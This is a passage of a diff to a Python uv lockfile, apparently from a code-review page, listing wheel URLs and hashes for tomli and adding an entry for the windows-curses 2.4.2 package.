{ url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.70.0"
|
||||
@@ -2373,6 +2205,21 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
|
||||
Reference in new issue
Block a user